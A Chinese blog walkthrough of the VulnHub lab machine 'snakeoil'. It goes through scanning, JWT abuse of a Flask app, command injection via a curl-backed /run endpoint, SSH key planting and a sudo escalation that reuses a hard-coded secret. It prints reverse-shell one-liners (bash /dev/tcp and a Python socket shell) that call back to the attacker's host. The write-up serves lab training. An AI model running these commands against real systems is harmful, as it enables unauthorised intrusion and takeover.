靶机渗透练习59-digitalworld.local:snakeoil

靶机描述

靶机地址:https://www.vulnhub.com/entry/digitalworldlocal-snakeoil,738/

Description

Recently, Good Tech Inc. has decided to change their application development process. However, their applications look broken and too basic. Is this an application full of snakeoil, or are they insecure too? This goes beyond PEN-200, and some web application development expertise could be helpful.

If you MUST have hints for this machine: SNAKEOIL is (#1): a hint by itself, (#2): full of disallowed methods, (#3): a single file full of problems.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.55

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

⬢  snakeoil  arp-scan -I eth0 -l         
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.7
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2     08:00:27:02:10:5c       PCS Systemtechnik GmbH
192.168.9.55    08:00:27:be:c3:35       PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.937 seconds (132.16 hosts/sec). 2 responded
⬢  snakeoil  
方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

⬢  snakeoil  nmap -A -sV -T4 -p- 192.168.9.55   
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-28 14:32 CST
Nmap scan report for bogon (192.168.9.55)
Host is up (0.00032s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 73:a4:8f:94:a2:20:68:50:5a:ae:e1:d3:60:8d:ff:55 (RSA)
|   256 f3:1b:d8:c3:0c:3f:5e:6b:ac:99:52:80:7b:d6:b6:e7 (ECDSA)
|_  256 ea:61:64:b6:3b:d3:84:01:50:d8:1a:ab:38:29:12:e1 (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome to SNAKEOIL!
|_http-server-header: nginx/1.14.2
8080/tcp open  http    nginx 1.14.2
|_http-title:  Welcome to Good Tech Inc.'s Snake Oil Project 
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:BE:C3:35 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.32 ms bogon (192.168.9.55)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.67 seconds

22---ssh---OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80---http---nginx 1.14.2

8080---http---nginx 1.14.2

2.2枚举漏洞

2.2.1 80 端口分析

访问:http://192.168.9.55/

image-20220328143524856

扫描一下目录:gobuster dir -u http://192.168.9.55/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirb/common.txt -f

⬢  snakeoil  gobuster dir -u http://192.168.9.55/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirb/common.txt -f
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.55/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              bak,txt,php,html,zip
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
2022/03/28 14:55:40 Starting gobuster in directory enumeration mode
===============================================================
                                
===============================================================
2022/03/28 14:55:42 Finished
===============================================================
⬢  snakeoil  

dirsearch -u http://192.168.9.55

⬢  snakeoil  dirsearch -u http://192.168.9.55          

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.9.55/_22-03-28_14-54-41.txt

Error Log: /root/.dirsearch/logs/errors-22-03-28_14-54-41.log

Target: http://192.168.9.55/

[14:54:41] Starting: 

Task Completed

换字典换工具均无果

2.2.2 8080端口分析

JWT基础分析

访问:http://192.168.9.55:8080/

image-20220328145716481

Useful Links 发现JWTs以及https://flask-jwt-extended.readthedocs.io/en/stable/options/

image-20220328145847192

访问其链接发现是一些JWT的配置信息

image-20220328150315896

扫描一下目录: dirsearch -u http://192.168.9.55:8080

⬢  snakeoil  dirsearch -u http://192.168.9.55:8080                                                                          

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.9.55-8080/_22-03-28_15-04-27.txt

Error Log: /root/.dirsearch/logs/errors-22-03-28_15-04-27.log

Target: http://192.168.9.55:8080/

[15:04:27] Starting: 
[15:04:29] 200 -    2KB - /01
[15:04:29] 200 -    2KB - /02
[15:04:29] 200 -    2KB - /04
[15:04:29] 200 -    2KB - /1
[15:04:29] 200 -    2KB - /2
[15:04:29] 200 -    2KB - /4
[15:04:43] 405 -   64B  - /login
[15:04:48] 200 -   29B  - /registration
[15:04:48] 500 -   37B  - /secret
[15:04:50] 200 -   17B  - /test
[15:04:52] 200 -  140B  - /users

Task Completed
⬢  snakeoil 

挨个访问一下,

http://192.168.9.55:8080/login

image-20220328151257270

请求的url不允许使用该方法

抓包修改一下方法

image-20220328152028585

image-20220328152109947

username 字段不能为空,先放一边

http://192.168.9.55:8080/registration

image-20220328151309525

同样的抓包更改一下方法

image-20220328152251679

直接访问http://192.168.9.55:8080/users

image-20220328151013521

发现用户名和加密过的密码,说明有两个字段,也就是说,POST请求有两个字段,分别是usernamepassword

重新发包给注册界面,尝试注册用户test

image-20220328153246702

成功注册,回到登录页面登陆一下,用刚创建的用户进行登录:

image-20220328153418007

成功登录,并发现access_tokenrefresh_token

登录后,咱们访问扫描出的其他页面

/create 页面

image-20220328153956848

image-20220328153814353

浏览器(或代理)发送了此服务器无法理解的请求。

/secret 页面

image-20220328154016780

image-20220328154030949

/test页面

image-20220328154331815

image-20220328154346838

线索到这里就断了,感觉像是少了什么页面,换个工具扫一下目录:

gobuster dir -u http://192.168.9.55:8080/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirb/common.txt

⬢  snakeoil  gobuster dir -u http://192.168.9.55:8080/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.55:8080/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,html,zip,bak
[+] Timeout:                 10s
===============================================================
2022/03/28 15:44:58 Starting gobuster in directory enumeration mode
===============================================================
/01                   (Status: 200) [Size: 2193]
/02                   (Status: 200) [Size: 2356]
/04                   (Status: 200) [Size: 2324]
/1                    (Status: 200) [Size: 2193]
/2                    (Status: 200) [Size: 2356]
/4                    (Status: 200) [Size: 2324]
/create               (Status: 200) [Size: 2596]
/login                (Status: 405) [Size: 64]  
/registration         (Status: 200) [Size: 29]  
/run                  (Status: 405) [Size: 178] 
/secret               (Status: 500) [Size: 37]  
/test                 (Status: 200) [Size: 17]  
/users                (Status: 200) [Size: 265] 
                                                
===============================================================
2022/03/28 15:45:17 Finished
===============================================================
⬢  snakeoil  

发现新页面/run

image-20220328154655183

image-20220328154714212

请以 url:port 格式提供请求的 URL。 示例:127.0.0.1:12345

修改请求包如下

image-20220328155237326

发包没反应,后百度一下发现需要更改 Content-Type

四种常见的 POST 提交数据方式
application/x-www-form-urlencoded

这应该是最常见的 POST 提交数据的方式了。浏览器的原生

表单,如果不设置 enctype 属性,那么最终就会以 application/x-www-form-urlencoded 方式提交数据。请求类似于下面这样(无关的请求头在本文中都省略掉了):

POST http://www.example.com HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=utf-8

title=test&sub%5B%5D=1&sub%5B%5D=2&sub%5B%5D=3

首先,Content-Type 被指定为 application/x-www-form-urlencoded;其次,提交的数据按照 key1=val1&key2=val2 的方式进行编码,key 和 val 都进行了 URL 转码。大部分服务端语言都对这种方式有很好的支持。例如 PHP 中,\(_POST['title'] 可以获取到 title 的值,\)_POST['sub'] 可以得到 sub 数组。

很多时候,我们用 Ajax 提交数据时,也是使用这种方式。例如 JQuery 和 QWrap 的 Ajax,Content-Type 默认值都是「application/x-www-form-urlencoded;charset=utf-8」。

multipart/form-data

这又是一个常见的 POST 数据提交的方式。我们使用表单上传文件时,必须让 表单的 enctype 等于 multipart/form-data。直接来看一个请求示例:

POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA

------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="text"

title
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

这个例子稍微复杂点。首先生成了一个 boundary 用于分割不同的字段,为了避免与正文内容重复,boundary 很长很复杂。然后 Content-Type 里指明了数据是以 multipart/form-data 来编码,本次请求的 boundary 是什么内容。消息主体里按照字段个数又分为多个结构类似的部分,每部分都是以 --boundary 开始,紧接着是内容描述信息,然后是回车,最后是字段具体内容(文本或二进制)。如果传输的是文件,还要包含文件名和文件类型信息。消息主体最后以 --boundary-- 标示结束。关于 multipart/form-data 的详细定义,请前往 rfc1867 查看。

这种方式一般用来上传文件,各大服务端语言对它也有着良好的支持。

上面提到的这两种 POST 数据的方式,都是浏览器原生支持的,而且现阶段标准中原生 表单也只支持这两种方式(通过 元素的 enctype 属性指定,默认为 application/x-www-form-urlencoded。其实 enctype 还支持 text/plain,不过用得非常少)。

随着越来越多的 Web 站点,尤其是 WebApp,全部使用 Ajax 进行数据交互之后,我们完全可以定义新的数据提交方式,给开发带来更多便利。

application/json

application/json 这个 Content-Type 作为响应头大家肯定不陌生。实际上,现在越来越多的人把它作为请求头,用来告诉服务端消息主体是序列化后的 JSON 字符串。由于 JSON 规范的流行,除了低版本 IE 之外的各大浏览器都原生支持 JSON.stringify,服务端语言也都有处理 JSON 的函数,使用 JSON 不会遇上什么麻烦。

JSON 格式支持比键值对复杂得多的结构化数据,这一点也很有用。记得我几年前做一个项目时,需要提交的数据层次非常深,我就是把数据 JSON 序列化之后来提交的。不过当时我是把 JSON 字符串作为 val,仍然放在键值对里,以 x-www-form-urlencoded 方式提交。

Google 的 AngularJS 中的 Ajax 功能,默认就是提交 JSON 字符串。例如下面这段代码:

var data = {'title':'test', 'sub' : [1,2,3]};
$http.post(url, data).success(function(result) {
    ...
});

最终发送的请求是:

POST http://www.example.com HTTP/1.1 
Content-Type: application/json;charset=utf-8

{"title":"test","sub":[1,2,3]}

这种方案,可以方便的提交复杂的结构化数据,特别适合 RESTful 的接口。各大抓包工具如 Chrome 自带的开发者工具、Firebug、Fiddler,都会以树形结构展示 JSON 数据,非常友好。但也有些服务端语言还没有支持这种方式,例如 php 就无法通过 $_POST 对象从上面的请求中获得内容。这时候,需要自己动手处理下:在请求头中 Content-Type 为 application/json 时,从 php://input 里获得原始输入流,再 json_decode 成对象。一些 php 框架已经开始这么做了。

当然 AngularJS 也可以配置为使用 x-www-form-urlencoded 方式提交数据。如有需要,可以参考这篇文章

text/xml

XML-RPC(XML Remote Procedure Call)。它是一种使用 HTTP 作为传输协议,XML 作为编码方式的远程调用规范。典型的 XML-RPC 请求是这样的:

POST http://www.example.com HTTP/1.1 
Content-Type: text/xml

<?xml version="1.0"?>
<methodCall>
    <methodName>examples.getStateName</methodName>
    <params>
        <param>
            <value><i4>41</i4></value>
        </param>
    </params>
</methodCall>

XML-RPC 协议简单、功能够用,各种语言的实现都有。它的使用也很广泛,如 WordPress 的 XML-RPC Api,搜索引擎的 ping 服务等等。JavaScript 中,也有现成的库支持以这种方式进行数据交互,能很好的支持已有的 XML-RPC 服务。

继续分析JWT

也就是说, Content-Type:application/x-www-form-urlencoded要换成 Content-Type: application/json, 在ajax中,如果没加contentType:"application/json",那么data就对应的是json对象;反之,如果加了contentType:"application/json",那么ajax发送的就是字符串。

image-20220328160403318

更改后发包发现需要 secret key ,但是无法访问secret 页面

回去看看JWT配置界面,找到cookies字段

image-20220328160751796

重新抓包secret页面,加上login登录后返回的字段值

{"message": "Logged in as test", "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY0ODQ4MTgzNywianRpIjoiNDA5NWI1OTQtODdiOC00MTFhLTkwNjUtMTEwYmU3NjkzODQxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QiLCJuYmYiOjE2NDg0ODE4MzcsImV4cCI6MTY0ODQ4MjczN30.X5TTFR5AF8DTjjpb6JR03cqnPrL-UDoEuQViwyaRxIA", "refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY0ODQ4MTgzNywianRpIjoiZjU0M2YyYzMtNjc0NC00NWYwLTg0YWYtOGM2YzM2NTJmYmEzIiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJ0ZXN0IiwibmJmIjoxNjQ4NDgxODM3LCJleHAiOjE2NDg0ODU0Mzd9.14JNU5ILDc5cESjzxhsPzUsgyK7lvwB_jERohPXcY_Q"}

重新发包试试,半天没反应,不知道是怎么回事,猜测是BurpSuite的原因

Postman试试

image-20220328165749047

成功拿到"secret_key": "commandexecutionissecret"

再在 /run 里面提交

image-20220328170817027

返回信息很像是在linux终端运行curl命令,拼接一下就是

curl 127.0.0.1:80

貌似就是这样的说明存在命令执行

2.3漏洞利用

2.3.1 命令执行

前边猜测执行了curl命令,咱们这边测试一下-V

image-20220328171359246

成功返回版本信息,说明猜测无误,咱们再试试别的命令whoamiid

image-20220328171546996

image-20220328171614055

都成功执行并回显相关信息

咱们进行反弹shell,本地监听:nc -lvp 6666

bash -i >& /dev/tcp/192.168.9.7/6666 0>&1
sh -i >& /dev/tcp/192.168.9.7/6666 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.7",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

image-20220328171805169

尝试写入了几个shell,但都没啥用

尝试上传 .ssh 私钥文件,通过ssh登录

⬢  snakeoil  ssh-keygen -f test
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in test
Your public key has been saved in test.pub
The key fingerprint is:
SHA256:Dd9wsNXhOha58B2Qbcj/lZkULai7Z4eKZdGY09WN/p0 root@kali
The key's randomart image is:
+---[RSA 3072]----+
|          ..o*.oo|
|           +=+=+o|
|        . +.+o*.*|
|         +.@ B.=.|
|        S B.X o..|
|          .+ . .+|
|          o. . Eo|
|         +. + .  |
|        . .+ .   |
+----[SHA256]-----+
⬢  snakeoil  ls -al
总用量 16
drwxr-xr-x 2 hirak0 kali 4096  3月 28 17:22 .
drwxr-xr-x 9 hirak0 kali 4096  3月 28 14:28 ..
-rw------- 1 root   root 2590  3月 28 17:22 test
-rw-r--r-- 1 root   root  563  3月 28 17:22 test.pub
⬢  snakeoil  cp test.pub authorized_keys                                                       
⬢  snakeoil  ls -al
总用量 20
drwxr-xr-x 2 hirak0 kali 4096  3月 28 17:24 .
drwxr-xr-x 9 hirak0 kali 4096  3月 28 14:28 ..
-rw-r--r-- 1 root   root  563  3月 28 17:24 authorized_keys
-rw------- 1 root   root 2590  3月 28 17:22 test
-rw-r--r-- 1 root   root  563  3月 28 17:22 test.pub
⬢  snakeoil  python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...


image-20220328172639949

查看一下是否下载成功

image-20220328172744771

成功下载,接下来把 authorized_keys 文件移到/home/patrick/.ssh/目录下:

image-20220328172904961

image-20220328172939663

尝试ssh登录

⬢  snakeoil  ssh patrick@192.168.9.55 -i test
The authenticity of host '192.168.9.55 (192.168.9.55)' can't be established.
ED25519 key fingerprint is SHA256:j6ytSalC59gdH0E3qXAhAky3XaaSGl9IeOeEML7+Imc.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.55' (ED25519) to the list of known hosts.
Linux SNAKEOIL 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
patrick@SNAKEOIL:~$ 

成功登录

2.4权限提升

2.4.1 信息收集

进行信息收集

patrick@SNAKEOIL:~$ ls -al
total 112
drwxr-xr-x 20 patrick patrick 4096 Aug 18  2021 .
drwxr-xr-x  3 root    root    4096 Jun 12  2021 ..
-rw-------  1 patrick patrick 5022 Mar 29 01:46 .bash_history
-rw-r--r--  1 patrick patrick  220 Jun 12  2021 .bash_logout
-rw-r--r--  1 patrick patrick 3560 Jun 12  2021 .bashrc
drwx------ 13 patrick patrick 4096 Jun 19  2021 .cache
drwx------ 13 patrick patrick 4096 Jun 24  2021 .config
drwxr-xr-x  2 patrick patrick 4096 Jun 12  2021 Desktop
drwxr-xr-x  2 patrick patrick 4096 Jun 12  2021 Documents
drwxr-xr-x  2 patrick patrick 4096 Jun 23  2021 Downloads
drwxr-xr-x  7 patrick patrick 4096 Mar 29 01:47 flask_blog
drwx------  3 patrick patrick 4096 Jun 12  2021 .gnupg
-rw-------  1 patrick patrick 2278 Aug 18  2021 .ICEauthority
drwx------  6 patrick patrick 4096 Jun 23  2021 .local
-rw-r--r--  1 patrick patrick   29 Aug 16  2021 local.txt
drwx------  5 patrick patrick 4096 Jun 12  2021 .mozilla
drwxr-xr-x  2 patrick patrick 4096 Jun 12  2021 Music
drwxr-xr-x  2 patrick patrick 4096 Jun 12  2021 Pictures
drwx------  3 patrick patrick 4096 Jun 23  2021 .pki
drwxr-xr-x  4 patrick patrick 4096 Jun 23  2021 Postman
-rw-r--r--  1 patrick patrick  807 Jun 12  2021 .profile
drwxr-xr-x  2 patrick patrick 4096 Jun 12  2021 Public
-rw-------  1 patrick patrick   80 Jun 23  2021 .python_history
drwx------  2 patrick patrick 4096 Mar 29 01:28 .ssh
drwxr-xr-x  2 patrick patrick 4096 Jun 12  2021 Templates
drwxr-xr-x  2 patrick patrick 4096 Jun 12  2021 Videos
drwxr-xr-x  8 patrick patrick 4096 Oct 14  2020 vmware-tools-distrib
patrick@SNAKEOIL:~$ cat local.txt 
Local shell access obtained!
patrick@SNAKEOIL:~$ 
patrick@SNAKEOIL:~$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)
patrick@SNAKEOIL:~$ sudo -l
Matching Defaults entries for patrick on SNAKEOIL:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User patrick may run the following commands on SNAKEOIL:
    (root) NOPASSWD: /sbin/shutdown
    (ALL : ALL) ALL

发现可以以 root 身份执行任意命令

patrick@SNAKEOIL:~$ sudo /sbin/shutdown -h
[sudo] password for patrick: 

但是需要patrick的密码

在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null

patrick@SNAKEOIL:~$ find / -perm -u=s -type f 2>/dev/null
/home/patrick/vmware-tools-distrib/lib/bin32/vmware-user-suid-wrapper
/home/patrick/vmware-tools-distrib/lib/bin64/vmware-user-suid-wrapper
/usr/bin/vmware-user-suid-wrapper
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/ntfs-3g
/usr/bin/mount
/usr/bin/umount
/usr/bin/su
/usr/bin/bwrap
/usr/bin/sudo
/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/xorg/Xorg.wrap
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device

https://gtfobins.github.io/中查找了一下,没有可以直接利用的

2.4.2 sudo提权

继续查找可利用的,经过一番查找,在/flask_blog/app.py文件中,找到app.config['JWT_SECRET_KEY'] = 'NOreasonableDOUBTthisPASSWORDisGOOD'

image-20220328174343392

尝试使用NOreasonableDOUBTthisPASSWORDisGOOD作为patrick的密码

patrick@SNAKEOIL:~$ sudo su
[sudo] password for patrick: 
root@SNAKEOIL:/home/patrick# cd /root
root@SNAKEOIL:~# ls -al
total 36
drwx------  4 root root 4096 Aug 16  2021 .
drwxr-xr-x 19 root root 4096 Jun 12  2021 ..
-rw-------  1 root root   10 Mar 29 01:46 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Jun 19  2021 .cache
drwxr-xr-x  3 root root 4096 Jun 19  2021 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   63 Aug 16  2021 proof.txt
-r--r-----  1 root root  669 Aug 16  2021 sudoers.bak
root@SNAKEOIL:~# cat proof.txt
Congratulations on obtaining a root shell on this machine! :-)
root@SNAKEOIL:~# 

成功提权,并拿到flag

总结

本靶机挺有意思的,通过信息收集得到JWT相关信息,经过一番分析成功找到命令执行,上传ssh私钥文件进行登录,最后通过sudo提权

  1. 发现主机
  2. 信息收集
  3. 目录扫描--dirsearch、gobuster
  4. JWT的相关配置信息
  5. 四种常见的 POST 提交数据方式
  6. Postman的使用
  7. 命令执行
  8. ssh私钥登录
  9. sudo提权
posted @ 2022-04-08 17:10  hirak0  阅读(101)  评论(0编辑  收藏  举报